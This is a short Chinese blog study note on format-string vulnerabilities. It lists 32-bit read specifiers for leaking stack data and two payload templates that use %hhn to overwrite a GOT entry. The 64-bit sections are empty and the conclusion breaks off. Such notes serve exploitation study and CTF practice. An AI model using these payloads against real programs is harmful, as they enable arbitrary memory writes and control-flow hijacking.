pollux's Dairy

格式化字符串漏洞总结

字数统计: 219阅读时长: 1 min
2018/09/16 Share

0x00 32位下读

  • ‘%num$08x’
  • ‘%num$p’
  • ‘%num$s’

    %x 整数的参数会被转成无符号的十六进制数字
    %p 如果是参数是”void *”型指针则使用十六进制格式显示
    %s 指向字符串的参数会被逐字输出,直到出现NULL 字符为止

0x01 32位下写

  • 修改get@got表中的内容(利用python的格式化特性)
    p32(gets@got) + ‘%%%dc’ %(data-4) + ‘%num$hhn’

  • 修改get@got表中的内容
    payload = ‘%’ + str(data) +’c%16$hhn’ if data != 0 else ‘%16$hhn’
    payload += ‘A’*(48-len(payload)) + p32(get@got)

0x02 64位下读

0x03 64位下写

0x04 Conclusion

  1. 可以泄露栈地址
  2. 可以任意地址写,比如通过泄露的栈地址,计算出保存返回地址的栈地址,然后修改返回地址
    3.
CATALOG
  1. 1. 0x00 32位下读
  2. 2. 0x01 32位下写
  3. 3. 0x02 64位下读
  4. 4. 0x03 64位下写
  5. 5. 0x04 Conclusion